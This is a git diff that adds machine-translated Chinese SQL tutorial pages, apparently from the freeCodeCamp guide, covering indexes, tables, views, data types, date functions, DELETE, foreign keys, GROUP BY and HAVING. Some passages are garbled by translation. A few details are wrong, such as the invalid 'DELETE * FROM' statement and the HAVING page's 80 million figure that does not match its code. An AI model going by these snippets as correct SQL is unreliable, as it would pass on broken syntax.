+
+> **注意：**创建索引的语法因不同的数据库而异。因此：检查在数据库中创建索引的语法。
+
+#### CREATE INDEX示例
+
+下面的SQL语句在“Persons”表的“LastName”列中创建名为“idx\_lastname”的索引：
+
+```sql
+CREATE INDEX idx_lastname 
+ ON Persons (LastName); 
+```
+
+如果要在列组合上创建索引，可以在括号中列出列名，用逗号分隔： CREATE INDEX idx\_pname
+
+```sql
+ON Persons (LastName, FirstName); 
+```
+
+#### DROP INDEX声明
+
+DROP INDEX语句用于删除表中的索引。
+
+**MS Access：**
+
+```sql
+DROP INDEX index_name ON table_name; 
+```
+
+**SQL Server：**
+
+```sql
+DROP INDEX table_name.index_name; 
+```
+
+**DB2 / Oracle数据库：**
+
+```sql
+DROP INDEX index_name; 
+```
+
+**MySQL的：**
+
+```sql
+ALTER TABLE table_name 
+ DROP INDEX index_name; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-create-table-statement/index.md b/client/src/guide/chinese/sql/sql-create-table-statement/index.md
new file mode 100644
index 0000000000..0c7a61af6e
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-create-table-statement/index.md
@@ -0,0 +1,30 @@
+---
+title: SQL Create Table Statement
+localeTitle: SQL创建表语句
+---
+## SQL创建表语句
+
+表是存储在数据库中的一组数据。
+
+要在数据库中创建表，请使用`CREATE TABLE`语句。您为表命名，并列出其数据类型的列。
+```
+CREATE TABLE TABLENAME(Attribute1 Datatype, Attribute2 Datatype,........); 
+```
+
+这是一个创建名为Person的表的示例：
+
+```sql
+CREATE TABLE Person( 
+  Id int not null, 
+  Name varchar not null, 
+  DateOfBirth date not null, 
+  Gender bit not null, 
+  PRIMARY KEY( Id ) 
+ ); 
+```
+
+在上面的示例中，每个人都有一个姓名，一个出生日期和一个性别。 Id列是标识表中一个人的键。您可以使用关键字`PRIMARY KEY`将一个或多个列配置为主键。
+
+列不能为`not null`或`null`表示它是否是必需的。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-create-table/index.md b/client/src/guide/chinese/sql/sql-create-table/index.md
new file mode 100644
index 0000000000..16f70f6618
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-create-table/index.md
@@ -0,0 +1,131 @@
+---
+title: SQL Create Table
+localeTitle: SQL创建表
+---
+# SQL CREATE TABLE
+
+## 介绍
+
+本指南概述了SQL `CREATE TABLE`函数的基础知识。
+
+我们将在这些freeCodeCamp SQL指南中使用MySQL作为所有示例。 MySQL经常在后端数据库的网站上使用，2）它是免费的，而且有趣且易于使用。
+
+## 本指南涵盖的内容
+
+*   创建模式，即所有数据库对象的容器。
+*   创建一个表，以便我们有一些改变。
+*   通过导入CSV文件并更改该表来创建表
+*   使用MySQL工作台工具创建表
+
+我们使用MySQL工作台脚本工具中的SQL语句完成大部分工作。我们还将了解如何使用工作台界面而不是SQL语句创建表。
+
+## 关系数据库的高级结构
+
+1.  最高水平;数据库;数据库系统安装。在这种情况下，它是MySQL。在上面的屏幕截图中称为“本地实例MySQL路由器”。
+2.  接下来是Schema;关系数据库系统中托管数据所需对象的容器。
+3.  我们创建的对象（表，索引，存储过程，函数）来管理系统及其数据
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/create_table01.JPG?raw=true)
+
+## 创建MySQL架构
+
+模式是管理给定主题或过程的数据所需的对象的容器。我们在本指南中展示了示例。
+
+我们将使用SQL命令为我们的学习和测试创建模式;
+```
+create database fCC_alterTableGuide; 
+```
+
+在运行此命令之前，此实例是模式结构
+
+![图像-2-](https://github.com/SteveChevalier/guide-images/blob/master/create_table02.JPG?raw=true)
+
+运行SQL语句后，此实例模式结构
+
+![图像-3-](https://github.com/SteveChevalier/guide-images/blob/master/create_table03.JPG?raw=true)
+
+## 创建表，使用“insert”添加测试数据，重命名表（alter）
+
+我们将创建一个学生表。
+
+步骤将是：
+
+1.  确保我们没有桌子
+    
+2.  创建表
+    
+3.  插入测试数据。
+    
+
+*   数据类型：学生姓名是一个限制为90个字符的字符字段
+*   学生ID是一个数字（整数）（范围-2147483648到2147483647）。这将是表的主键，并在添加记录时自动递增。
+*   还有两个“时间戳”字段也可以使用
+
+创建声明并显示执行结果;
+
+![图像-4-](https://github.com/SteveChevalier/guide-images/blob/master/create_table04.JPG?raw=true)
+
+使用Select语句，我们将看到该表存在，但现在已添加记录。
+
+![图像-5-](https://github.com/SteveChevalier/guide-images/blob/master/create_table05.JPG?raw=true)
+
+现在插入一些数据，看看我们的新表中包含记录的内容（并了解创建和更新时间戳）;
+
+![图像-6-](https://github.com/SteveChevalier/guide-images/blob/master/create_table06.JPG?raw=true)
+
+第一个时间戳是创建数据和时间，第二个是更新日期和时间。更改记录应更新ts2但不更新ts1。让我们来看看。
+
+![图像-7-](https://github.com/SteveChevalier/guide-images/blob/master/create_table07.JPG?raw=true)
+
+## 使用MySql Workbench创建一个表
+
+右键单击要放入新文件的架构下的“Tables”。选择Create Table。
+
+![图像-8-](https://github.com/SteveChevalier/guide-images/blob/master/create_table08.JPG?raw=true)
+
+根据需要填写表单，然后单击“应用”
+
+![图像-9](https://github.com/SteveChevalier/guide-images/blob/master/create_table09.JPG?raw=true)
+
+## 创建表选择（CTAS）
+
+创建表副本（包括数据）的快速方法是将表创建为select。
+
+CREATE TABLE我的_表为（SELECT \* FROM orig_ tbl）;
+
+## 通过导入CSV文件创建并填充表
+
+右键单击要放入新文件的架构下的“Tables”。选择Table Data Import。
+
+![图像10](https://github.com/SteveChevalier/guide-images/blob/master/create_table10.JPG?raw=true)
+
+选择要导入的CSV文件，然后单击“下一步” 通常，您可以从数据中创建新表，选择所需的选项，然后单击“下一步”
+
+![图像-11](https://github.com/SteveChevalier/guide-images/blob/master/create_table11.JPG?raw=true)
+
+根据需要调整数据类型，然后单击“下一步”
+
+![图像-12](https://github.com/SteveChevalier/guide-images/blob/master/create_table12.JPG?raw=true)
+
+单击“下一步”（在此屏幕上显示下一个屏幕）将数据导入表中 您将看到完成状态，查看并单击“完成”
+
+![图像-13](https://github.com/SteveChevalier/guide-images/blob/master/create_table13.JPG?raw=true)
+
+![图像-14](https://github.com/SteveChevalier/guide-images/blob/master/create_table14.JPG?raw=true)
+
+## 其他材料
+
+有更多的细节来涵盖这个主题所以安装MySQL，玩得开心！
+
+### 哪里可以获得MySQL
+
+尝试\[Windows用户下载\[（https://dev.mysql.com/downloads/windows/）
+
+### MySQL文档
+
+*   [手册页](https://dev.mysql.com/doc/refman/5.7/en/alter-table.html)
+*   [手册中的例子](https://dev.mysql.com/doc/refman/5.7/en/alter-table-examples.html)
+
+### SQL Server文档
+
+*   [Microsoft Docs](https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql)
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-create-view-statement/index.md b/client/src/guide/chinese/sql/sql-create-view-statement/index.md
new file mode 100644
index 0000000000..8e27c5ab88
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-create-view-statement/index.md
@@ -0,0 +1,78 @@
+---
+title: SQL Create View Statement
+localeTitle: SQL创建视图语句
+---
+## SQL创建视图语句
+
+### 什么是观点？
+
+View是一个数据库对象，它呈现一个或多个表中存在的数据。视图以与表类似的方式使用，但它们不包含任何数据。它们只是“指向”其他地方存在的数据（例如，表或视图）。
+
+### 我们为什么喜欢他们？
+
+*   视图是限制所呈现数据的一种方式。例如，人力资源部门数据被过滤以仅呈现非敏感信息。在这种情况下，敏感信息可以是社会安全号码，员工性别，支付率，家庭住址等。
+*   跨多个表的复杂数据可以组合成一个“视图”。这可以使您的业务分析师和程序员的工作更轻松。
+
+### 重要安全提示
+
+*   视图由系统管理。当更改，添加或更新相关表中的数据时，系统将更新视图。我们只在需要管理系统资源的使用时才使用它们。
+*   在MySQL中，创建视图后对表设计（即新列或删除列）的更改不会在视图本身中更新。必须更新或重新创建视图。
+*   视图是四种标准数据库对象类型之一。其他是表，存储过程和函数。
+*   视图通常可以像处理表一样处理，但是当视图包含多个表时，更新会受到限制或不可用。
+*   关于视图的许多其他详细信息超出了本入门指南的范围。花时间阅读数据库管理员手册，享受这个功能强大的SQL对象。
+
+### 创建视图语句的语法（MySQL）
+
+```sql
+CREATE 
+    [OR REPLACE] 
+    [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}] 
+    [DEFINER = { user | CURRENT_USER }] 
+    [SQL SECURITY { DEFINER | INVOKER }] 
+    VIEW view_name [(column_list)] 
+    AS select_statement 
+    [WITH [CASCADED | LOCAL] CHECK OPTION] 
+```
+
+_本指南将涵盖声明的这一部分......_
+
+```sql
+CREATE 
+    VIEW view_name [(column_list)] 
+    AS select_statement 
+```
+
+### 从学生表创建示例视图
+
+笔记：
+
+*   视图的名称末尾有一个“v”。建议视图名称表明它是某种方式的视图，使程序员和数据库管理员的工作更轻松。您的IT商店应该有自己的命名对象规则。
+    
+*   视图中的列受到WHERE子句的SELECT和数据行的限制。
+    
+*   由于名称中的“ - ”，视图名称周围的“\`”字符是必需的。 MySQL报告没有它们的错误。
+    
+
+```sql
+create view `programming-students-v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+ 
+ select * from `programming-students-v`; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/create-view-statement01.JPG?raw=true)
+
+### 使用View组合来自多个表的数据的示例
+
+学生人口统计表已添加到数据库中以演示此用法。该视图将组合这些表。
+
+笔记：
+
+*   要“连接”表，表必须具有唯一标识每一行的字段（通常是主键）。在这种情况下，它是学生ID。 （有关[SQL连接](../sql-joins/index.md)指南的更多信息。）
+*   注意每个表的“别名”（学生为“s”，学生联系为“sc”）。这是一种缩短表名的工具，可以更轻松地识别正在使用的表。它比重复输入长表名更容易。在此示例中，它是必需的，因为studentID在两个表中都是相同的列名称，并且系统将显示“模糊列名称错误”而不指定要使用的表。
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/create-view-statement02.JPG?raw=true)
+
+_与所有这些事情一样，观点还有很多。请参阅您的数据库管理员手册，并自己尝试不同的选项。_
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-data-types/index.md b/client/src/guide/chinese/sql/sql-data-types/index.md
new file mode 100644
index 0000000000..fa212101ee
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-data-types/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL Data Types
+localeTitle: SQL数据类型
+---
+# SQL数据类型
+
+表中的每列必须具有数据类型。它指示列存储的值的类型。
+
+每个数据库都可以接受不同的数据类型，但通常，数据类型列表是：
+
+### 字符串类型
+
+数据类型|描述 ------------ | ------------- `CHAR(n)` |字符串。固定长度的n。最小长度为1.如果为包含少于定义长度的字符的CHAR列分配值，则剩余空间将填充空白字符。 `VARCHAR(n)` |字符串。可变长度。最大长度n。最小长度为1 `BINARY(n)` |二进制字符串。固定长度的n `VARBINARY(n)`或`BINARY VARYING(n)` |二进制字符串。可变长度。最大长度n
+
+### 数字类型
+
+数据类型|描述 ------------ | ------------- `INTEGER` |整数数字。从-2,147,483,648到2,147,483,647。 `SMALLINT` |整数数字。从-32,768到32,767 `BIGINT` |整数数字。从-9,223,372,036,854,775,808到9,223,372,036,854,775,807 `DECIMAL(p,s)`或`NUMERIC(p,s)` |精确数值，精度p，比例s。精度是小数点左侧和右侧将存储的最大小数位数。 Scale是将存储在小数点右侧的小数位数。从p中减去此数字以确定小数点左侧的最大位数。示例：decimal（5,2）是一个在小数点前有3位数字，在小数点后有2位数字的数字。 `FLOAT(p)` |近似数字，尾数精度p。基数为10的浮点数指数表示法。此类型的size参数由指定最小精度的单个数字组成 `REAL` |近似数字，尾数精度7 `FLOAT` |近似数字，尾数精度16 `DOUBLE PRECISION` |近似数字，尾数精度16
+
+### 日期和时间类型
+
+数据类型|描述 ------------ | ------------- `DATE` |存储年，月和日值 `TIME` |存储小时，分钟和秒值 `DATETIME` |存储年，月，日，小时，分钟和秒值 `TIMESTAMP` |存储自Unix纪元以来的秒数 `TIME WITH TIME ZONE` |存储带时区的时间 `TIMESTAMP WITH TIME ZONE` |存储带时区的时间戳
+
+### 其他数据类型
+
+数据类型|描述 ------------ | ------------- `BOOLEAN` |存储`TRUE`或`FALSE`值 `ARRAY` |设定长度和有序的元素集合 `MULTISET` |可变长度和无序的元素集合 `XML` |存储XML数据
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-date-functions/index.md b/client/src/guide/chinese/sql/sql-date-functions/index.md
new file mode 100644
index 0000000000..c7e9aa8692
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-date-functions/index.md
@@ -0,0 +1,73 @@
+---
+title: SQL Date Functions
+localeTitle: SQL日期函数
+---
+## SQL日期函数
+
+### 介绍
+
+MySQL中定义了61个日期函数。别担心，我们不会在这里查看它们。本指南将向您介绍一些常见的，并为您提供足够的曝光，让您自己探索。
+
+我们将涵盖：
+
+*   获取当前日期
+*   日期数学
+*   在where或having子句中的日期
+
+### 获取当前日期
+
+从系统中获取日期对于使用SQL处理数据非常方便。
+
+```sql
+-- current date 
+ select now(), sysdate(), current_date(), current_time(), -- date and time from the system on execution 
+ dayofyear(now()) as NumDaysSoFarThisYr, 
+ EXTRACT(YEAR FROM now()) as theYearPart, 
+ EXTRACT(YEAR_MONTH FROM now()) as theYrMonPart, 
+ date_format(now(), '%W %M %Y') as oneOfManyFormats; 
+ ; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions04.JPG)
+
+在SQL查询中，我们看到以下内容：
+
+*   结果中的前两列是获取相同信息的两种方法：执行SQL时系统上的日期。
+*   接下来的两列仅切出系统日期的日期和时间部分。
+*   下一个显示今年系统日期的“日期编号”。您会注意到，这比下一个示例中显示的数学要多一天。
+*   接下来的两个只提取年份，然后提取年和月
+*   最后，但并非最不重要的是，有一个格式化日期的方法之一的例子。
+
+### 日期数学
+
+```sql
+select now(), current_date(), 
+ datediff(now(),'2017-01-01') as daysThisYear, 
+ subdate(current_date(), interval 150 day) as '150DaysAgo', 
+ adddate(now(), interval 7 day) as dateInA_Week -- date in a week 
+ ; 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions02.jpg)
+
+我们在这里看到：
+
+*   前两列只是系统日期和时间供参考。
+*   第二列是2017年1月1日到系统日期之间的日期差异（datediff）。
+*   最后两列是减去和添加日期的示例。
+
+### 在where或having子句中
+
+以下是在where子句中使用日期数学的两个示例：
+
+```sql
+select * from student; - to show the current data being used for the example 
+ select * from student where recordCreated < '2017-01-01'; 
+ select * from student where recordCreated < subdate(current_date(), interval 225 day); 
+```
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions03.jpg)
+
+关于HAVING部分：请记住，大多数WHERE子句逻辑也适用于GROUP BY的HAVING子句。两者之间的区别在于WHERE子句针对完整数据运行，HAVING针对GROUP BY子句聚合的数据运行。
+
+_与所有这些事情一样，对于他们来说，还有比这本入门指南更多的内容。我希望这至少足以让你开始。请参阅您的数据库管理员手册，并自己尝试不同的选项。_
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-delete-statement/index.md b/client/src/guide/chinese/sql/sql-delete-statement/index.md
new file mode 100644
index 0000000000..b2242727b2
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-delete-statement/index.md
@@ -0,0 +1,35 @@
+---
+title: SQL Delete Statement
+localeTitle: SQL删除语句
+---
+## SQL删除语句
+
+要删除表中的记录，请使用`DELETE`语句。
+
+小心。您可以删除表格的所有记录或只删除一些记录。使用`WHERE`条件指定要删除的记录。语法是：
+
+```sql
+DELETE FROM table_name 
+ WHERE condition; 
+```
+
+下面是从表中删除Id 3记录的示例：
+
+```sql
+DELETE FROM Person 
+ WHERE Id = 3; 
+```
+
+使用DELETE删除给定表中的所有记录
+
+```sql
+DELETE * FROM Person 
+ ; 
+```
+
+或者，根据您的RDBMS，您可以使用TRUNCATE TABLE语句删除表中的所有记录，并且根据您的RDBMS可能允许或不允许回滚。 DELETE是DML，TRUNCATE是DDL。
+
+```sql
+TRUNCATE TABLE Person; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-drop-view-statement/index.md b/client/src/guide/chinese/sql/sql-drop-view-statement/index.md
new file mode 100644
index 0000000000..40cfbb76d4
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-drop-view-statement/index.md
@@ -0,0 +1,67 @@
+---
+title: SQL Drop View Statement
+localeTitle: SQL Drop View语句
+---
+## SQL Drop View语句
+
+### 介绍
+
+本指南介绍了删除（删除）一个或多个视图对象的SQL语句。
+
+视图是一个呈现来自一个或多个表的数据的对象。
+
+注意：在删除或更改数据或对象之前，请记住要进行全新备份。
+
+我们将涵盖：
+
+*   使用SQL删除表
+*   使用工作台删除视图
+
+我们将使用MySQL进行转换。在其他数据库管理器中查看此功能的手册。
+
+我们将删除名为`students_dropMe_v`的视图，该视图是为此目的而创建的。
+
+### 基本语法
+
+```sql
+DROP VIEW [IF EXISTS] 
+    view_name [, view_name] ... 
+```
+
+### 删除视图SQL
+
+如果视图不存在，if exists部分将“陷阱”错误。
+
+```sql
+drop view if exists students_dropMe_v; 
+```
+
+创建后的视图：
+
+![图像-1](https://github.com/SteveChevalier/guide-images/blob/master/drop-view01.JPG)
+
+上面执行的命令和显示的视图：
+
+![图像-2-](https://github.com/SteveChevalier/guide-images/blob/master/drop-view02.JPG)
+
+### 使用Workbench
+
+从工作台： 1）右键单击要删除的视图 2）从菜单中选择下拉视图 3）选择a）运行SQL以查看要执行的SQL语句或b）删除new
+
+![图像-3-](https://github.com/SteveChevalier/guide-images/blob/master/drop-view03.JPG)
+
+\*与所有这些SQL事物一样，它们比本入门指南中的内容更多。我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并亲自尝试不同的选项。\*
+
+### 额外
+
+这是我用来创建刚刚删除的表的SQL：
+
+```sql
+create view `students_dropMe_v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-foreign-key-constraint/index.md b/client/src/guide/chinese/sql/sql-foreign-key-constraint/index.md
new file mode 100644
index 0000000000..f711998fba
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-foreign-key-constraint/index.md
@@ -0,0 +1,101 @@
+---
+title: SQL Foreign Key Constraint
+localeTitle: SQL外键约束
+---
+## SQL外键约束
+
+外键是用于链接两个表的键。具有外键约束（又名“子表”）的表连接到另一个表（也称为“父表”）。连接位于子表的外键约束和父表的主键之间。
+
+外键约束用于帮助维护表之间的一致性。例如，如果删除父表记录并且子表具有记录，则系统也可以删除子记录。
+
+它们还通过要求在子表中输入的每个记录存在父表记录来帮助防止在子表中输入不准确的数据。
+
+### 使用示例
+
+对于本指南，我们将仔细查看学生（家长）和学生联系（孩子）表。
+
+### 父表的主键
+
+请注意，student表具有studentID的一列主键。
+
+```sql
+SHOW index FROM student; 
+```
+
+```text
++---------+------------+----------+--------------+-------------+ 
+ | Table   | Non_unique | Key_name | Seq_in_index | Column_name | 
+ +---------+------------+----------+--------------+-------------+ 
+ | student |          0 | PRIMARY  |            1 | studentID   | 
+ +---------+------------+----------+--------------+-------------+ 
+ 1 row in set (0.00 sec) (some columns removed on the right for clarity) 
+```
+
+### 子表的主键和外键
+
+学生联系信息表有一个主键，也是studentID。这是因为两个表之间存在一对一的关系。换句话说，我们希望每个学生只有一个学生和一个学生联系记录。
+
+```sql
+SHOW index FROM `student-contact-info`; 
+```
+
+```text
++----------------------+------------+----------+--------------+-------------+ 
+ | Table                | Non_unique | Key_name | Seq_in_index | Column_name | 
+ +----------------------+------------+----------+--------------+-------------+ 
+ | student-contact-info |          0 | PRIMARY  |            1 | studentID   | 
+ +----------------------+------------+----------+--------------+-------------+ 
+ 1 row in set (0.00 sec) (some columns removed on the right for clarity) 
+```
+
+```sql
+SELECT concat(table_name, '.', column_name) AS 'foreign key', 
+ concat(referenced_table_name, '.', referenced_column_name) AS 'references' 
+ FROM information_schema.key_column_usage 
+ WHERE referenced_table_name IS NOT NULL 
+ AND table_schema = 'fcc_sql_guides_database' 
+ AND table_name = 'student-contact-info'; 
+```
+
+```text
++--------------------------------+-------------------+ 
+ | foreign key                    | references        | 
+ +--------------------------------+-------------------+ 
+ | student-contact-info.studentID | student.studentID | 
+ +--------------------------------+-------------------+ 
+ 1 row in set (0.00 sec) 
+```
+
+### 使用学生父表和联系子表的示例报告
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+```text
++-----------+------------------------+------------------+--------------------+--------------------+ 
+ | studentID | FullName               | programOfStudy   | student-phone-cell | student-US-zipcode | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ |         1 | Monique Davis          | Literature       | 555-555-5551       |              97111 | 
+ |         2 | Teri Gutierrez         | Programming      | 555-555-5552       |              97112 | 
+ |         3 | Spencer Pautier        | Programming      | 555-555-5553       |              97113 | 
+ |         4 | Louis Ramsey           | Programming      | 555-555-5554       |              97114 | 
+ |         5 | Alvin Greene           | Programming      | 555-555-5555       |              97115 | 
+ |         6 | Sophie Freeman         | Programming      | 555-555-5556       |              97116 | 
+ |         7 | Edgar Frank "Ted" Codd | Computer Science | 555-555-5557       |              97117 | 
+ |         8 | Donald D. Chamberlin   | Computer Science | 555-555-5558       |              97118 | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+```
+
+### 结论
+
+外键约束是一种很好的数据完整性工具。花点时间学习它们。
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-general-data-types/index.md b/client/src/guide/chinese/sql/sql-general-data-types/index.md
new file mode 100644
index 0000000000..e9dbb7faf1
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-general-data-types/index.md
@@ -0,0 +1,36 @@
+---
+title: SQL General Data Types
+localeTitle: SQL常规数据类型
+---
+## SQL常规数据类型
+
+# SQL数据类型
+
+数据库表中的每一列都需要具有名称和数据类型。
+
+SQL开发人员必须决定在创建表时将在每列中存储的数据类型。数据类型是SQL的指南，用于了解每列内部预期的数据类型，还可以识别SQL如何与存储的数据进行交互。
+
+# MySQL数据类型
+
+SQL常规数据类型包括以下内容：
+
+1.  基于文本和/或数字的值，通常称为STRING
+2.  仅限数字的值，通常称为INTEGER
+3.  基于日历和/或时钟的值，通常称为日期或时间
+4.  特定于数据库的值，例如boolean（双选项）标志，一个在一个数据点内存储多个值的数组
+
+## 文本数据类型：
+
+|数据类型|描述| | ------------- |：-------------：| | CHAR（大小）|保持固定长度的字符串（可以包含字母，数字和特殊字符）。固定大小在括号中指定。最多可以存储255个字符 | VARCHAR（大小）|保存可变长度的字符串（可以包含字母，数字和特殊字符）。最大尺寸在括号中指定。最多可以存储255个字符。注意：如果您输入的值大于255，它将转换为TEXT类型| | TINYTEXT |保存最大长度为255个字符的字符串 | TEXT |保存最大长度为65,535个字符的字符串 | BLOB |对于BLOB（二进制大对象）。最多可容纳65,535字节的数据 | MEDIUMTEXT |保存最大长度为16,777,215个字符的字符串 | MEDIUMBLOB |对于BLOB（二进制大对象）。最多可容纳16,777,215字节的数据 | LONGTEXT |保存最大长度为4,294,967,295个字符的字符串 | LONGBLOB |对于BLOB（二进制大对象）。最多可容纳4,294,967,295字节的数据 | ENUM（x，y，z等）|让您输入可能值的列表。您可以在ENUM列表中列出最多65535个值。如果插入的值不在列表中，则将插入空值。注意：值按您输入的顺序排序。您可以使用以下格式输入可能的值：ENUM（'X'，'Y'，'Z'）| | SET |与ENUM类似，但SET最多可包含64个列表项，并且可以存储多个选项
+
+# 数字数据类型：
+
+|数据类型|描述| | ------------- |：-------------：| | TINYINT（尺寸）| -128到127正常。 0到255未签名_。最大位数可以在括号中指定 | SMALLINT（大小）| -32768到32767正常。 0到65535未签名_ 。最大位数可以在括号中指定 | MEDIUMINT（尺寸）| -8388608到8388607正常。 0到16777215未签名_。最大位数可以在括号中指定 | INT（大小）| -2147483648到2147483647正常。 0到4294967295 UNSIGNED_ 。最大位数可以在括号中指定 | BIGINT（大小）| -9223372036854775808到9223372036854775807正常。 0至18446744073709551615未签名\*。最大位数可以在括号中指定 | FLOAT（大小，d）|带小数点浮点数的小数。可以在size参数中指定最大位数。小数点右边的最大位数在d参数中指定 | DOUBLE（大小，d）|带有小数点浮点数的大数。可以在size参数中指定最大位数。小数点右边的最大位数在d参数中指定 | DECIMAL（大小，d）|存储为字符串的DOUBLE，允许固定的小数点。可以在size参数中指定最大位数。小数点右边的最大位数在d参数中指定
+
+# 日期数据类型：
+
+|数据类型|描述| | ------------- |：-------------：| | DATE（）|一个约会。格式：YYYY-MM-DD注意：支持的范围是从'1000-01-01'到'9999-12-31'| | DATETIME（）|日期和时间组合。格式：YYYY-MM-DD HH：MI：SS注意：支持的范围是从'1000-01-01 00:00:00'到'9999-12-31 23:59:59'| | TIMESTAMP（）|时间戳。 TIMESTAMP值存储为自Unix纪元（'1970-01-01 00:00:00'UTC）以来的秒数。格式：YYYY-MM-DD HH：MI：SS注意：支持的范围是从'1970-01-01 00：00：01'UTC到'2038-01-09 03:14:07'UTC | | TIME（）|一次。格式：HH：MI：SS注意：支持的范围是从'-838：59：59'到'838：59：59'| |年（）|一年两位数或四位数格式。注意：允许使用四位数格式的值：1901到2155.两位数格式允许的值：70到69，表示从1970年到2069年的年份|
+
+#### 更多信息：
+
+有关SQL中特定数据类型的更多信息，请参见freeCodeCamp的[SQL Data Types](https://guide.freecodecamp.org/sql/sql-data-types/)部分。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-group-by-statement/index.md b/client/src/guide/chinese/sql/sql-group-by-statement/index.md
new file mode 100644
index 0000000000..095a1f142c
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-group-by-statement/index.md
@@ -0,0 +1,45 @@
+---
+title: SQL Group By Statement
+localeTitle: SQL Group By Statement
+---
+## SQL Group By Statemet
+
+### 使用示例
+
+GROUP BY为我们提供了一种组合行和聚合数据的方法。
+
+使用的数据来自我们在其中一些指南中使用的广告系列贡献数据。
+
+以下SQL语句正在回答这个问题：“哪些候选人在2016年获得的捐款总额最大，但只有那些拥有超过2000万美元的捐款？”
+
+以降序（DESC）顺序对此数据集进行排序会将总贡献最大的候选项放在列表顶部。
+
+```sql
+SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+```
+
+```text
++--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-having-clause/index.md b/client/src/guide/chinese/sql/sql-having-clause/index.md
new file mode 100644
index 0000000000..76f5a224ab
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-having-clause/index.md
@@ -0,0 +1,47 @@
+---
+title: SQL Having Clause
+localeTitle: SQL有条款
+---
+## SQL有条款
+
+HAVING为DBA或SQL使用程序员提供了一种过滤GROUP BY子句聚合的数据的方法，以便用户获取一组有限的记录进行查看。
+
+### 使用示例
+
+HAVING子句与WHERE子句类似，但它作用于分组数据。在这种情况下，用户只会看到最大的金额。
+
+这些数据来自我们在其中一些指南中使用的广告系列贡献数据。
+
+这个SQL语句正在回答这个问题：“哪些候选人在2016年获得了最大的捐款，但只有那些拥有超过8千万美元的捐款？”
+
+以降序（DESC）顺序对此数据集进行排序会将总贡献最大的候选项放在列表顶部。
+
+```sql
+SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+```
+
+```text
++--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
